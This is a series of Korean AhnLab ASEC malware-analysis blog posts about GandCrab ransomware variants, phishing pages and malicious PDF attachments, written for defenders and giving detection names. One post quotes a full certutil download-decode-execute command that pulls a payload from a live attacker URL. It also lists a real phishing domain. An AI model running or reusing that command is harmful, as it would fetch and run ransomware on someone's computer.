9월 26일 확인된 (GandCrab v5.0 유포에 사용되는)자바스크립트 파일에서 V3 Lite 제품 언인스톨(Uninstall) 행위에서의 변화가 확인되었다. 기존에 PowerShell.exe 하위에 Uninst.exe 프로세스가 실행되는 구조에서 cmd.exe가 추가되었다.


(기존) "eventvwr.exe" or "fodhelper.exe" -> "powershell.exe" -> "uninst.exe"

(변경) "eventvwr.exe" or "fodhelper.exe" -> "powershell.exe" -> "cmd.exe" -> "uninst.exe"


아래의 [그림-1]은 변경된 자바스크립트에서 V3 Lite 제품에 대한 언인스톨 관련 코드의 변화를 나타낸다.


[그림-1] 언인스톨 방식의 변화


그 외의 AVAST 백신 언인스톨 및 Windows Defender, Microsoft Security Client 서비스 제거 등의 기능은 동일하며 내부에 포함하는 GandCrab은 v5.0으로 확인되었다. V3 Lite 제품에서는 이러한 변화된 언인스톨 행위에 대해 아래의 [그림-2]와 같이 차단하고 있다.

[그림-2] 언인스톨 행위에 대한 차단


Posted by 분석팀

안랩 ASEC은 GandCrab 제작자가 새로운 버전으로 업데이트를 한 것을 포착하였다. 제작자는 어제(9/24)를 기준으로 v5.0으로 업데이트 하였으며 바탕화면과 랜섬노트 그리고 확장자를 KRAB에서 임의의 5자리 문자열로 변경하였다.

[그림-1] GandCrab v5.0 감염 배경화면

GandCrab에 감염 시 배경화면의 위의 그림처럼 변경되며, 2번째 줄에는 사용자의 컴퓨터 이름을 사용한다. 

[그림-2] 변경된 랜섬노트

랜섬노트는 v4기준 텍스트 파일(.txt)에서 HTML파일로 변경되었으며 한글을 사용한다. 또한 랜섬노트 파일명도 KRAB-DECRYPT에서 [변경된 임의의 확장자]-DECRYPT로 변경되었다. 

[그림-3] 감염된 파일

상기 그림과 같이 파일 감염 시 확장자는 더이상 KRAB을 사용하지 않는다. 앞서 적은 것처럼 임의의 5자리 문자열로 변경된다.

[그림-4] 내부 버전 및 AhnLab 관련 문구

바탕화면과 랜섬노트 뿐만 아니라 내부 버전도 상기 그림과 같이 v5.0으로 변경된 것을 확인할 수 있다. 다만, 이전 버전부터 존재하던 AhnLab 관련 문구는 삭제하거나 변경하지 않았다.

[그림-5] V3 제품 삭제 시도 탐지

상기 그림과 같이 새롭게 변경된 버전 v5.0은 기존과 동일하게 *.js(Java Script) 파일형태로 유포되고 있으며, V3 Lite 제품에 대한 삭제 시도 시 행위탐지 및 차단이 가능하다. 뿐만 아니라 랜섬웨어 파일이 다운로드 되거나 파워쉘(PowerShell)을 통한 파일리스(Fileless) 형태로 실행될 경우에도 V3 랜섬웨어 행위탐지 기법에 의해 차단이 가능하다.

JS 파일

 파일 진단명

 JS/Gandcrab, JS/GandCrab.S1

 행위 진단명

 Malware/MDP.Behavior.M2004

  EXE 파일

 파일 진단명

 Trojan/Win32.Gandcrab(2018.09.25.01)

 행위 진단명

Malware/MDP.Ransom.M1171, Malware/MDP.Connect.M1966


Posted by 분석팀

안랩 ASEC 에서는 국내로 유포되는 갠드크랩 랜섬웨어를 지속적으로 모니터링하고 있다. 그리고 최근 갠드크랩 랜섬웨어 유포 자바스크립트에서 V3 Lite 제품을 언인스톨하는 행위를 포착하였다. 8월 29일에 동일 내용으로 ASEC블로그(http://asec.ahnlab.com/1152)를 통해 V3Lite 언인스톨 기능을 처음으로 소개하였다. 당시 소개된 내용은 사용자에게 V3Lite 언인스톨 화면이 보여지고 클릭을 유도하는 방식이었지만, 현재 유포되는 파일은 언인스톨 화면을 숨기고(Hidden) 버튼 클릭까지 자동으로 이루어지는 방식이다. 즉, 자바스크립트 파일 실행 시 V3Lite 제품이 사용자 모르게 제거되고, 이후 갠드크랩 랜섬웨어가 생성/실행되는 구조로 고도화 되었다.


[그림 1] - 난독화된 스크립트 코드


유포 스크립트는 [그림 1]과 같이 지난 8월 29일 블로그를 통해 공개된 스크립트와 동일한 난독화 방식을 사용하고 있다. 이전과 동일하게 자바스크립트의 메인함수에서는 아래와 같은 기능들을 수행하며, 붉은색 표시부분이 새롭게 추가된 기능이다.

- AVAST 백신제거 (new)

- Windows Defender 서비스 제거

- Microsoft Security Client 서비스 제거

- V3 Lite 자동 언인스톨 (new)

- 갠드크랩 랜섬웨어 생성 및 실행


기존 유포스크립트와의 차이점은 아래와 같으며, 기존에 V3 언인스톨러를 실행시켜 사용자에게 제거를 유도하는 방식이 아닌, V3 제거를 직접적으로 수행하는 방식이 추가되었다.  감염 시스템의 윈도우 버전에 따라 유효한 UAC 우회기법을 사용하여 파워쉘 코드가 실행되는 구조이다.

- V3 Lite 언인스톨 화면 숨김 및 자동 버튼클릭

- 파워쉘을 통한 Fileless 기법의 갠드크랩 다운로드 기능 제거 


[그림 3] - V3Lite 자동 제거기능의 코드(uvxvfxx.js)


[그림 3]은 V3를 직접적으로 제거하는 기능이 포함된 자바스크립트(uvxvfxx.js)의 난독화가 해제된 모습니다. 해당 스크립트는 윈도우 버전에 적합한 실행방식을 통해 인코딩된 파워쉘 스크립트를 디코딩 과정을 거쳐 실행한다. 


[그림 4] - 디코딩된 파워쉘 스크립트의 메인함수


[그림 5] - 언인스톨 화면 숨김 및 버튼클릭 


[그림 4]는 디코딩된 파워쉘 스크립트의 메인함수이다. 해당 메인함수는 V3 언인스톨러를 실행하고 실행된 프로세스의 윈도우 핸들을 얻어와 공격자가 미리 정의해둔 SendKeyMe 함수로 핸들을 전달한다. [그림 5]는 파워쉘의 Add-Type 기능을 통해 공격자가 정의한 C# 클래스이며, 내부에 정의된 SendKeyMe 함수를 확인할 수 있다. SendKeyMe 함수의 기능은 아래와 같다. 

언인스톨 윈도우창에 [Enter] 메시지를 전송하여 제거 버튼 클릭 행위

- 언인스톨 윈도우창을 숨김


안랩 제품에서는 비정상적인 V3 Lite 언인스톨 행위에 대해 아래와 같이 행위로 차단하고 있다. 


[그림 6] - V3 제거 행위 시 차단


안랩 제품에서는 스크립트 파일 및 랜섬웨어를 아래와 같이 진단하고 있다. 갠드크랩 랜섬웨어 다운로드에 의한 동작 및 파워쉘을 통한 파일리스(Fileless) 형태 모두 행위차단이 가능하다.


유포 JS 파일

파일 진단명

JS/Gandcrab, JS/GandCrab.S1

랜섬웨어

실행파일

파일 진단명

Trojan/Win32.Gandcrab (2018.07.05.05)

행위 진단명

Malware/MDP.Ransom.M1171

비정상적인 

V3 제거 행위

행위 진단명

Malware/MDP.Behavior.M2004


Posted by 분석팀

안랩 ASEC은 9월 7일 배치파일(*.bat) 형태로 유포되는 Gandcrab에 대해 게시(블로그 링크)하였다. 이 때, 사용된 Gandcrab은 NSIS 외형으로 인젝션하여 동작한다고 간단하게 언급되었다. 이번 글에서는 이 NSIS(Nullsoft Scriptable Install System)외형을 가진 Gandcrab 동작 방식에 대해 설명한다. 먼저, 9월 6일 처음 발견된 NSIS 설치파일 내부에는 정상 이미지 파일들과 악성 *.bin 파일, 정상 System.dll 파일이 존재한다.


[그림 1] NSIS 내부 파일들

설치파일 형태의 1차 악성 파일이 실행되면 %temp%경로에 [그림 1]과 같은 파일들을 드롭한다. 그리고, System.dll 이 CALL 호출과 함께 nonagenarians.dll 파일을 (악성파일) 로드하면서 파일 암호화(랜섬웨어) 행위를 수행하게 된다.

[그림 2] Gandcrab 동작 방식

설치파일 내부에 존재하는 Polymerase.bin 파일은 사용할 API와 Gandcrab v4.3 EXE 파일을 인코딩한 파일이다. nonagenarians.dll 파일은 Polymerase.bin 파일을 참조하여 동작한다.

[그림 3] 디코딩 된 Polymerase.bin

그리고, CreateProcessA를 통해 자식 프로세스를 생성한 후, 자식 프로세스를 Gandcrab 실행 파일로 바꿔 감염행위를  한다. 외형만 보면 정상 설치파일로 보일 수 있으나 실제 동작 시 내부에 인코딩 된 EXE로 프로세스가 바꿔져 사용자가 인지하기 어렵다.

[그림 4] Gandcrab v4.3


NSIS 형태이나 새로운 동작방식

9월 10일날 발견된 파일에서는 내부 파일 구조는 동일하나, msiexec.exe 를 사용하여 동작하는 것이 특징이다. (이전까지는 msiexec.exe 문자열은 존재하나 사용되지 않음) 즉, 외형은 동일 하지만 내부 Gandcrab을 실행시키는 방식에서 차이가 있다.

System.dll을 통해 악성 dll이 로드되면 실행한 파일의 경로와 이름을 비교하여 %APPDATA%calumny.exe 일때와 다를 때로 다르게 동작한다. 제작자 테스트 목적으로 추정되며, [그림 5]에서 파란색 표시 부분이 추가로 실행되는 내용이다.

다를 경우(대부분의 일반 사용자) 실행 한 파일을 %APPDATA% 경로에 calumny.exe 이름으로 복사한 후 cmd 명령을 통해 처음 실행한 파일을 삭제한다. 그 다음 복사 한 파일을 실행하며 종료된다. 


[그림 5] 9월 10일 Gandcrab - 실행 파일 경로 이름이 다를 경우


같을 경우, 정상 윈도우 시스템 파일인 C:\Windows\System32\msiexec.exe를 자식 프로세스로 생성하여 Injection 하여 악성 행위를 한다.

먼저 권한 상승 코드를 Injection 하여 실행하고, 자동실행 등록 및 Gandcrab을 복호화하는 코드를 다시 Injection 하여 실행한다. 정상 파일에 Injection 하여 동작하므로 해당 NSIS 또한 사용자가 인지하기 어렵다. 권한상승 기법은 CMSTPLUA 라는 COM 인터페이스를 이용하였다.

[그림 6] 9월 10일 Gandcrab - 실행 파일 경로 이름이 같을 경우


아래의 [그림 7]은 msiexec.exe 메모리 내에 인젝션된 코드에 의해 Gandcrab 이 실행되는 부분을 나타낸다.

[그림 7] msiexec.exe 인젝션 코드에서 Gandcrab 실행과정


현재 안랩 제품에서는 Gandcrab 랜섬웨어를 다음과 같이 진단하고 있다.


[9월 6일]

Troajn/Win32.Gandcrab.C2698070 (2018.09.06.06) - EXE

Trojan/Win32.Agent.C2698134 (2018.09.06.07) - DLL

Malware/MDP.Ransom.1785, Malware/MDP.Ransom.1171 - 행위탐지


[9월 10일]

Troajn/Win32.Gandcrab.R236694 (2018.09.11.05) - EXE

Trojan/Win32.Loader.C2721877 (2018.09.18.08) - DLL

Malware/MDP.Execute.M1423 - 행위탐지


Posted by 분석팀

안랩 ASEC은 지난 9월 9일 ".SAVEfiles" 확장자로 암호화 하는 랜섬웨어가 유포된 것을 확인 하였다. 인터넷 브라우저를 통해 Drive by Download 로 유입된 것으로 추정되며 실행 시 일부의 경로를 제외하고 .exe, .dll 등 모든 확장자를 암호화 한다.

[그림 1. 랜섬웨어 실행 과정]


C2로 연결하여 key, Personal id 를 받아오지만 네트워크가 연결되지 않은 환경이라면 내부에 하드코딩된 값을 이용한다.

[그림 2. 내부에 하드코딩된 key, Personal id]


이 후 아래의 암호화 제외 경로를 제외한 폴더의 모든 확장자를 암호화 하여 .SAVEfiles 로 확장자를 변경한다. 

암호화 제외 경로 

C:\Windows\
C:\Program Files (x86)\Mozila Firefox\
C:\Program Files (x86)\Internet Explorer\
C:\Program Files (x86)\Google\
C:\Program Files\Mozila Firefox\
C:\Program Files\Internet Explorer\
C:\Program Files\Google\
D:\Windows\
D:\Program Files (x86)\Mozila Firefox\
D:\Program Files (x86)\Internet Explorer\
D:\Program Files (x86)\Google\
D:\Program Files\Mozila Firefox\
D:\Program Files\Internet Explorer\
D:\Program Files\Google\

[표 1. 암호화 제외 경로]


[그림 3. 암호화된 파일들]


!!!SAVE_FILES_INFO!!!.txt 파일명으로 랜섬노트를 생성하며, 내용은 아래와 같다. 기존 랜섬웨어와 달리 URL 주소가 아닌 이메일 주소를 통해 제작자와 통신하는 구조이며, 지불비용은 500 달러로 명시되어 있는 것이 특정이다.


[그림 4. 랜섬노트]


현재 안랩은 해당 랜섬웨어를 아래와 같은 진단명으로 진단하고 있다.

- 파일 진단 : Trojan/Win32.Savefiles.C2701916 (2018.09.10.03)

- 행위 진단 : Malware/MDP.Ransom.M1171


Posted by 분석팀

안랩 ASEC 지난 8월 PDF 파일의 첨부 파일 형태로 IQY와 PUB 확장자 악성코드가 유포 중인 것을 확인하였다. 확인된 PDF 첨부 파일의 확장자에 대해서 간략히 설명하면, *.iqy 확장자는 엑셀에서 사용하는 인터넷 쿼리 파일 형식이고, *.pub확장자는 MS Office의 Publisher와 관련된 프로그램의 확장자이다.

다음 [그림 1][그림 2] IQY, PUB 성코드가 첨부된 PDF 악성코드의 동작 과정을 설명한 것이다. 결과적으로 악성 매크로를 실행하는 것을 확인할 수 있다.

[그림 1] IQY 확장자를 포함한 PDF 파일의 악성 행위 과정

 

[그림 2] PUB 확장자를 포함한 PDF 파일의 악성 행위 과정

 

해당 PDF 실행 시 [그림 3]과 같은 실행 경고 창이 뜨면서 PDF 내부 첨부 파일이 실행될 수 있는 이유는 PDF 내부에 [그림 4]와 같은 자바스크립트 코드가 존재하기 때문이다.


[그림 3] PDF 내부 첨부 파일 실행 알림 창

 

[그림 4] exportDataObject 메소드 자바스크립트 코드


PDF는 자바스크립트의 exportDataObject 메소드를 사용하여 첨부 파일을 실행할 수 있는데, 이때 nLaunch의 값에 따라 첨부파일의 저장 경로 및 실행 방식을 정할 수 있다.


nLaunch

설명

0

파일 저장, 이때 첨부 파일은 사용자가 지정한 저장 경로에 저장

1

파일 저장 & 실행, 첨부파일 사용자가 지정한 저장 경로에 저장

2

파일 저장 & 실행, 첨부일 임시경로에 저장, 사용자에게 저장경로를 묻지 않음

[1] nLaunch 값에 따른 첨부파일 저장 및 실행 방법


악성 코드를 첨부한 PDF 파일은 nLaunch의 값이 주로 ‘2’로 설정되어 유포되기 때문에 사용자가 '확인' 버튼을 누를 시 첨부 파일이 임시 경로에 저장된 후 자동 실행된다. 그러므로 사용자는 [그림 3]과 같은 알림 창이 뜰 경우 확인버튼을 클릭하지 않도록 주의가 필요하다.

분석 당시 PUB 확장자의 경우 최종적으로 다운로드 및 실행되는 악성코드는 백도어 악성코드 (MD5 : a471555caf8dbb9d30fac3014172515f)였다.

현재 안랩은 해당 PDF 악성코드와 확인된 백도어를 아래와 같은 진단명으로 진단하고 있다.

- PDF/Expod(2018.08.17.00)

- Backdoor/Win32.Agent.C2676481(2018.08.23.01)


Posted by 분석팀

안랩 ASEC은 9월 6일 배치파일(*.bat) 형태로 유포되는 Gandcrab v4.3을 발견하였다. 이 배치파일은 certutil 이라는 윈도우즈 기본 명령을 이용해 동작한다.

동작하는 과정은 먼저 특정 URL에서 파일을 다운로드 받는다. 다운로드 받은 바이너리는 서명 파일인것처럼 위장한 BASE64형태로 인코딩 되어있다. 그리고 -decode 옵션을 이용해 Base64 디코드 후 cab 파일로 저장한다. cab파일은 압축 파일로 -expand 옵션으로 압축해제 후 실행하면 Gandcrab 랜섬웨어가 실행된다.

[그림-1] 동작 방식


certutil -urlcache -split -f http://files.occarlsongracieteams.com/x/gate.php %TMP%\ercg345c24.txt > NUL && certutil -decode %TMP%\ercg345c24.txt %TMP%\ercg345c24.cab > NUL && expand %TMP%\ercg345c24.cab %TMP%\ercg345c24.exe && %TMP%\ercg345c24.exe del %TMP%\ercg345c24.txt & del %TMP%\ercg345c24.cab

[표-1] 배치파일(.bat) 명령


이번 Gandcrab은 유포방법 뿐 아니라 외형에서도 새로운 점이 있다. 기존에 주로 사용하던 Microsoft Visual Cpp 8.0/9.0 컴파일러가 아닌 NullSoft Installer 형태로 인젝션하여 동작한다.

현재 안랩 제품에서는 배치파일 및 Gandcrab 랜섬웨어를 다음과 같이 진단하고 있다.

 배치파일(*.bat) 

 BAT/Gandcrab (2018.09.07.00)

 다운로드 파일 (*.txt)

 BinImage/Gandcrab (2018.09.07.00)

 랜섬웨어 실행파일 (.exe)

 Trojan/Win32.Gandcrab.C2698070 (2018.09.06.06)   Malware/MDP.Ransom.1785


Posted by 분석팀

안랩 ASEC은 자바스크립트를 통한 갠드크랩 랜섬웨어 유포 방식관련하여 8월 29일자 ASEC블로그를 통해 공개하였다. (참고: http://asec.ahnlab.com/1152)

9월 4일자 '구글 검색 통해 안랩 V3 제거 유도하는 갠드크랩 랜섬웨어 발견' 제목의 보안뉴스 기사에 소개된 내용은 이러한 자바스크립트 파일이 유포되는 방식 중 하나를 나타낸다.

https://www.boannews.com/media/view.asp?idx=72715

구글 브라우저를 통해 한국어 웹으로 특정 단어를 검색 시, 상단에 노출되어 일반 사용자로 하여금 다운로드 및 실행을 유도하고 있다. 아래의 [그림-1]은 "petools"라는 단어를 한국어 웹으로 설정하여 검색 시, 갠드크랩 랜섬웨어 유포와 관련된 사이트가 노출된 것을 나타낸다.

Comments에 언급된 By marcelo 는 갠드크랩 악성코드관련 정보를 게시하는 특정 사람을 지칭하는 것으로 추정된다. (https://twitter.com/MarceloRivero/)

[그림-1] 구글 검색 상단에 위치한 갠드크랩 유포 사이트


아래의 [그림-2]는 해당 사이트에 방문 시, 다운로드를 유도하는 화면이다.

[그림-2] 사용자 클릭 유도화면

파란색 글씨의 다운로드 링크를 클릭 시, 아래와 같은 사이트로 접속하여 ZIP 형식의 압축파일이 다운로드 되며, 내부에는 JS 파일이 존재한다.

압축파일 내부의 아래의 JS 파일은 내부에 갠드크랩을 포함하는 악성파일로 V3 Lite 제품을 Uninstall 하는 기능 및 파워쉘을 통한 갠드크랩 다운로드 기능이 존재한다.

내부의 JS 파일을 V3에서는 "JS/GandCrab.S1"로 진단하며, 갠드크랩이 실행 시, 행위로도 차단이 가능하다. 검증되지 않은 사이트에서 파일을 다운로드 받는 경우, 사용자 주의가 필요하며 이러한 사례에서 처럼 JS 파일만 존재하는 경우, 악성코드로 의심하고 실행하지 않아야 한다.


Posted by 분석팀

안랩 ASEC은 최근 매일같이 기업사용자의 계정정보를 탈취하려는 피싱 사이트가 기승을 부리고 있는 것을 포착하였다최근에는 사용자를 속이기 위해 매우 정교해지고 있어 확인되지 않은 외부 URL 접근에 대한 각별한 주의가 필요하다.

[그림-1] 기존 유포 피싱 사이트

기존 피싱 사이트의 경우 상기 [그림-1]의 왼쪽 상단처럼 기업 로고만 도용하여 허술하게 제작되어 계정 입력란만 활성화가 되어있었다해당 사이트에서 연결된 페이지는 제작하지 않아 상기 그림의 빨간 박스안에 링크는 모두 비활성화 되어 클릭 되지 않는다해당 링크를 클릭시 다른 페이지로 연결되지 않아 사용자가 조금만 주의를 기울이면 정상적으로 서비스 되는 사이트가 아닌 것을 인지할 수 있었다하지만 비교적 최근 피싱 사이트는 사용자의 계정을 탈취하기 위해 정교하게 제작되어 URL을 확인하지 않는다면 비정상적인 것을 인지하기 어렵다.

[그림-2] 정상 사이트(), 피싱 사이트()

정상 사이트 URL

https://www.amazon.co.jp/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=jpflex&openid.claimed_id=...

피싱 사이트 URL

https://www.identify-safe-amzn.com-restoring.com/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=jpflex&openid.claimed_id=...


상기 그림의 사이트는 URL을 제외하고는 생김새부터 기능까지 모두 구현된 피싱 사이트이다. 사용자가 URL을 확인하지 않고 계정정보를 입력하게 되면 다음 화면은 개인 정보를 입력 받는다. 사용자가 인지하지 못하고 모두 입력하게 된다면 공격자는 원하는 계정정보부터 개인정보까지 모두 획득하게 된다.


[그림-3] 입력받는 개인정보 번역 전(), ()


최신 피싱 트랜드는 기업 계정을 대상으로 진화하였다. URL에 메일주소를 담고 있는 것이 특징이며 로그인 기한까지 적어 두어 사용자에게 빠른 계정 정보 입력을 요청하고 있다.


[그림-4] 기업 계정 로그인 유도


이전에 없던 추가된 기능으로 유효하지 않은 비밀번호(: 1111, 1234)를 입력할 경우 비밀번호가 일치하지 않다는 경고문까지 띄우는 정교함이 더해졌다.

[그림-5] 로그인 실패 화면


비밀번호를 길게 입력할 경우 정상적으로 로그인이 되었다고 표시해주며, 기존에는 [그림-4] 화면으로 돌아갔으나, 최신 피싱사이트는 완벽을 위해 메일 뒤 주소로 리다이렉트를 해준다.

이메일

리다이렉트 URL

test@ahnlab.com

ahnlab.com

[-1] 리다이렉트 예시


[
그림-6] 계정 정보 탈취 후 리다이렉트 되는 정상 사이트

상기 그림과 같이 계정 정보 입력 후 정상사이트가 노출되기 때문에 사용자는 자신의 정보가 탈취된 지 인지하기 어렵다이와 같이 피싱 수법은 지속적으로 진화하고 있어 발신자가 불분명한 의심스러운 이메일이나 확인되지 않은 링크에 대해서는 열람하지 않도록 사용자의 각별한 주의가 요구된다.

Posted by 분석팀

안랩 ASEC은 지난 8/29자바스크립트 내에 포함된 GandCrab 랜섬웨어에 대해 분석 정보를 블로그에 게시하였으며 랜섬웨어 실행하는 2가지 방식 중 내부에 암호화된 형태로 포함된 갠드크랩은 4.3 버전이고, 파워쉘을 통한 다운로드(http://pastebin.com/raw/***) 방식에 의해 구동되는 갠드크랩의 버전은 4.4임을 확인할 수 있었다. (참고: http://asec.ahnlab.com/1152)

4.4버전은 파일리스(Fileless)로 동작한다는 것 이외에 현재까지 알려진 갠드크랩과 기능이 전체적으로 유사하였으며, 특이사항으로 암호화 차단(Kill-Switch)기능을 수행하는 lock 파일 존재 여부를 확인하는 코드가 재등장하였다. 단, 기존의 고정된 이름과 달리 매일매일 lock 파일명이 변경되어야 하는 한계가 존재한다. 갠드크랩 4.4에서 확인된 (암호화 차단 역할을 하는) lock 파일 생성 알고리즘은 [그림 1]과 같다. (해당 Kill-Switch 조건은 v4.3, v4.4 모두 동일한 방식)


[그림 1] lock 파일 생성 알고리즘 (v4.4)


lock 파일 생성 여부 확인은 갠드크랩 v4.4이 파일 암호화를 하기 전에 수행된다. 따라서 각 드라이브의 루트 경로에 해당 lock 파일이 있을 경우 파일 암호화는 수행되지 않는다. 파일 내용에 상관없이 파일 이름만 유효하면 암호화가 차단되는 기능을 수행한다.

예시) GetVolumeInformation 호출에 의해 확인된 볼륨시리얼 정보가 0x888A15A5인 사용자의 일 별로 다르게 생성되는 lock 파일명 정보

2018/09/01 () : 888a1242888a15aa19.lock

2018/09/02 () : 888a1242888a15aa7a.lock

2018/09/03 () : 888a1242888a15aa6b.lock


갠드크랩 4.4 lock 파일의 파일명을 정할 때 GetSystemTime API를 사용해서 로컬 시스템의 시간 정보를 xor 연산으로 사용하기 때문에 [그림 2]처럼 일별로 각기 다른 파일명의 존재 여부를 확인한다. 따라서 암호화 차단 기능을 수행하기 위해서는 매일 다른 파일명의 lock 파일을 생성해야 한다.


[그림 2] 일 별로 다른 lock 파일명


현재 안랩 제품에서는 스크립트 파일 및 갠드크랩 랜섬웨어를 아래와 같이 진단하고 있다.

유포 JS 파일

파일 진단명

JS/Gandcrab, JS/GandCrab.S1

랜섬웨어 실행파일

파일 진단명

Trojan/Win32.Gandcrab (2018.07.05.05)

행위 진단명

Malware/MDP.Ransom.M1171

파워쉘 스크립트

행위 진단명

Malware/MDP.Ransom.M1947


Posted by 분석팀